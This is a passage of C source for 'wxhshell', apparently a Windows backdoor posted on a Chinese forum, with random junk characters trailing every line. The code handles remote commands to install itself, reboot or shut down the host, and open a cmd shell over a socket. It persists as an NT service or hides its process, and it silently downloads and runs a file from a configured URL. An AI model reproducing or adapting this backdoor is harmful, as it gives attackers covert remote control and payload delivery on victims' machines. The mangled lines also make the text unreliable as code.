  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 I @$ 0Gg  
  } GmbIFOT~  
  else { 5%P[^}  
E=k w)<X2  
    switch(cmd[0]) { 88g47>{X  
  }/p/pVz  
  // 帮助 \TUE<<?1s  
  case '?': { ?+Q$#pb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sB6dp D  
    break; ~:EW>Fq%i  
  } ^df x~C  
  // 安装 f;wc{qy  
  case 'i': { xr.XU'  
    if(Install()) ~ezCu_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qm'b'!gq~  
    else sT`^ljp4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &K *X)DAs  
    break; SX+4 HJB  
    } %$TEDr!  
  // 卸载 #Qd' + M  
  case 'r': { k" YHsn  
    if(Uninstall()) !| xZ6KV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4LsHs   
    else ) * TF"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9U^$.Lb  
    break; $O9Xx  
    } W2eAhz&  
  // 显示 wxhshell 所在路径 Hbk&6kS  
  case 'p': { FJT1i@N  
    char svExeFile[MAX_PATH]; _]=9#Fg7{  
    strcpy(svExeFile,"\n\r"); CZ3].DA|z  
      strcat(svExeFile,ExeFile); 2xn<E>]  
        send(wsh,svExeFile,strlen(svExeFile),0); Pz@/|&]  
    break; `(DJs-xD  
    } MCU9O  
  // 重启  s4$X  
  case 'b': { /.$L"u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (ua q<Cvg  
    if(Boot(REBOOT)) rl?7W];  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s<&[\U  
    else { >'`Sf ?+|  
    closesocket(wsh); >vujZw_0>  
    ExitThread(0); jK3\K/ob(  
    } /\J|Uj  
    break; I60DUuF  
    } Z^# ]#f  
  // 关机 p)3nyN=|_  
  case 'd': { #mLuU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ia4k:\  
    if(Boot(SHUTDOWN)) TvQ^DZbe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !;dSC<   
    else { F P@qh  
    closesocket(wsh); DZs^ 2Zc  
    ExitThread(0); i8~$o:&HT  
    } xU}M;4kH~  
    break; 73 V"s  
    } 2a `J%A  
  // 获取shell l>&sIX  
  case 's': { .Xd0 Q=1h  
    CmdShell(wsh); 8!zb F<W9  
    closesocket(wsh); mp\%M 1<  
    ExitThread(0); -(IC~   
    break; y ~AmG~  
  } S&?7K-F>_o  
  // 退出 i:Y\`J  
  case 'x': { /\E [  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `4 UlJ4<`  
    CloseIt(wsh); !M;A*:-  
    break; jG D%r~lN  
    } (}gcY  
  // 离开 o| D^`Z  
  case 'q': { `,Orf ZMb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >85zQ 1aL  
    closesocket(wsh); 8_xLl2  
    WSACleanup(); ;%zC@a~{  
    exit(1); oT&m4I  
    break; gyu6YD8L  
        } }c|UX ZW  
  } Y=2Un).&  
  } 2P9J' L  
8S  U%  
  // 提示信息 n?E}b$6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c Zvf"cIs  
} $|a;~m>  
  } ue0s&WF|  
KAc>-c<  
  return; T*CME]  
} uZ(? >  
u~F~cDu  
// shell模块句柄 Eg8i _s~:  
int CmdShell(SOCKET sock) z%:&#1)  
{ m 22wF>9  
STARTUPINFO si; AyVrk 8G  
ZeroMemory(&si,sizeof(si)); !wh&>3~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'fY9a(Xt.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HI!4  
PROCESS_INFORMATION ProcessInfo; OW`STp!  
char cmdline[]="cmd"; #I%s 3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WY>Knp=  
  return 0; M"wue*&  
} Q~Ea8UT. #  
!LIlt`ag9  
// 自身启动模式 /1fwl5\  
int StartFromService(void) ^M[P-#X_  
{ &88oB6$D^q  
typedef struct $j*Qo/x d  
{ Q"VMNvKYB  
  DWORD ExitStatus; D7Zm2Kj  
  DWORD PebBaseAddress; Z8&' f,  
  DWORD AffinityMask; DWf$X1M  
  DWORD BasePriority; 0=![fjm  
  ULONG UniqueProcessId; 8MZ$T3IM  
  ULONG InheritedFromUniqueProcessId; (lWq[0^N  
}   PROCESS_BASIC_INFORMATION; PW)aLycPK  
4~|<` vqN  
PROCNTQSIP NtQueryInformationProcess; x-_vl 9P)  
cm@;*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vb)zZ^va+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; : F9|&q-W,  
6 bO;&  
  HANDLE             hProcess; !'W-6f  
  PROCESS_BASIC_INFORMATION pbi; jv&+<j`r  
~&g a1r2v?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); urZ8j?}c  
  if(NULL == hInst ) return 0; )2.)3w1_4  
PC/!9s 0W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b{&FuvQg2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3!#/k+,C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EW(J5/mn  
12( wj6Q  
  if (!NtQueryInformationProcess) return 0; i_l+:/+G+  
M{KW@7j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r<yhI>>;<  
  if(!hProcess) return 0; PRr*]$\&Mj  
fL6e?\Pw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?[TW<Yx  
#n7Yr,|Z  
  CloseHandle(hProcess); FvXqggfGv  
`X8@/wf#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fRHKQ(a#  
if(hProcess==NULL) return 0; hh"-w3+  
qrBZvJU  
HMODULE hMod; D}{b;Un  
char procName[255]; G{lcYP O  
unsigned long cbNeeded; &/WAZs$2n  
_>_j\b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @ 4UxRp6+  
QLr9dnA  
  CloseHandle(hProcess); PT]GJ<K/  
4hAJ!7[A.  
if(strstr(procName,"services")) return 1; // 以服务启动 3S"] u}  
dM]#WBOP y  
  return 0; // 注册表启动 O\Eqr?%L)  
} >K)2NLW\xA  
sb.J bE8  
// 主模块 Eipp ~GD  
int StartWxhshell(LPSTR lpCmdLine) "wM1qX  
{ DxSsg  
  SOCKET wsl; 2@Lb foA  
BOOL val=TRUE;  y4jU{,  
  int port=0; 8ws$k\>  
  struct sockaddr_in door; -Kxc$}  
V|FrN*m  
  if(wscfg.ws_autoins) Install(); )K0i@hM(n  
`;%ZN  
port=atoi(lpCmdLine); 8<dOMp;}r  
f_\_9o"l  
if(port<=0) port=wscfg.ws_port; GP,<`l&  
I1=(. *B}  
  WSADATA data; O4|2|sA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~`cwG` 'N  
S!Jh2tsg`-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #R5U   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,=PKd&  
  door.sin_family = AF_INET; -5Utl os  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |b.z*G  
  door.sin_port = htons(port); PCE4W^ns  
OAe#Wf!c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tP(h9|[N  
closesocket(wsl); p3]Q^KFS  
return 1; l-O$m  
} l]!B#{  
pv# 2]v  
  if(listen(wsl,2) == INVALID_SOCKET) { xeA#u J  
closesocket(wsl); bB 6[Xj{  
return 1; C/tr$.2H=  
} ;O=h$8]  
  Wxhshell(wsl); ,sQ93(Vo  
  WSACleanup(); Lp&k3?W  
:qj<p3w~}  
return 0; q,l)I+  
:T@r*7hNT  
} ejePDgi_[  
sC7/9</  
// 以NT服务方式启动 YT-=;uK^S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #&Is GyU  
{ Hfc"L>  
DWORD   status = 0; X?Pl<l&  
  DWORD   specificError = 0xfffffff; 9F##F-%x  
46x.i;b7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U ?b".hJ2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E^V |  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6|;Uq'  
  serviceStatus.dwWin32ExitCode     = 0; }nrXxfu  
  serviceStatus.dwServiceSpecificExitCode = 0; {aOkV::  
  serviceStatus.dwCheckPoint       = 0; !xK=#pa  
  serviceStatus.dwWaitHint       = 0; eSy(~Y  
[kB `  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5ukp^OxE  
  if (hServiceStatusHandle==0) return; WlVl[/qt  
?J!3j{4e  
status = GetLastError(); *yaw$oB  
  if (status!=NO_ERROR) *3+-W  
{ ,/2LY4` 5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3S~(:#|  
    serviceStatus.dwCheckPoint       = 0; 1{PG>W  
    serviceStatus.dwWaitHint       = 0; < n?=|g  
    serviceStatus.dwWin32ExitCode     = status; l*}FXL  
    serviceStatus.dwServiceSpecificExitCode = specificError; dt,3"J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c$H+g,7xQ-  
    return; gPXa>C  
  } :E_a 0!'  
j,-C{ K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /iQ(3F  
  serviceStatus.dwCheckPoint       = 0; m VxO$A,  
  serviceStatus.dwWaitHint       = 0; ZFn(x*L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0Y+FRB ]u  
} ${r[!0|   
PlxIf  L  
// 处理NT服务事件,比如:启动、停止 "&o,yd%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2xxB\J  
{ 9Sg<K)Mc  
switch(fdwControl) >hsuAU.UOR  
{ 3vic(^Qh  
case SERVICE_CONTROL_STOP: F jrINxL7^  
  serviceStatus.dwWin32ExitCode = 0; AR&:Q4r|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :nJgwp()@  
  serviceStatus.dwCheckPoint   = 0; ?vtX"Fdz  
  serviceStatus.dwWaitHint     = 0; &xd.Qi2  
  { smy}3k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v;2CU  
  } )b4$A:  
  return; S\x=&Rz  
case SERVICE_CONTROL_PAUSE: p9[6^rjx8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; > s EjR!  
  break; ql{_%x?  
case SERVICE_CONTROL_CONTINUE: L8$1K&!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p3x?[ Ww  
  break; yi6N-7  
case SERVICE_CONTROL_INTERROGATE: `wz[='yM  
  break; pmc=NTr&<  
}; 3=.Y,ENM;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u?H 2%hD  
} 7[#xOZT  
qRB7Ec_  
// 标准应用程序主函数 DtxE@,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4 gBp8*2  
{ >)nS2b OE  
t;q7t!sC]  
// 获取操作系统版本 nvq3*  
OsIsNt=GetOsVer(); JMa3btLy(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :}}%#/nd  
iz^qR={bW  
  // 从命令行安装 IyUdZ,ba  
  if(strpbrk(lpCmdLine,"iI")) Install(); UE0$ o?  
|zsbW9 W*m  
  // 下载执行文件 7=}F{U  
if(wscfg.ws_downexe) { 2.I^Xf2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @cvP0A  
  WinExec(wscfg.ws_filenam,SW_HIDE); ` }gbc69  
} PX O!t]*  
Ud%s^A-qS  
if(!OsIsNt) { F`+\>ae$h  
// 如果时win9x,隐藏进程并且设置为注册表启动 %:9oDK  
HideProc(); )0 Z!n  
StartWxhshell(lpCmdLine); I*|P@0  
} Wr~yK? : ]  
else A#@_V'a8  
  if(StartFromService()) Ub$n |xn  
  // 以服务方式启动 ,J =P,](  
  StartServiceCtrlDispatcher(DispatchTable); hwnJE958L  
else ~2 *9{  
  // 普通方式启动 p3951-D  
  StartWxhshell(lpCmdLine); F iAY\4  
n> w`26MMp  
return 0; Sb&lhgW]c  
}
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只看该作者 1 发表于: 2006-10-10
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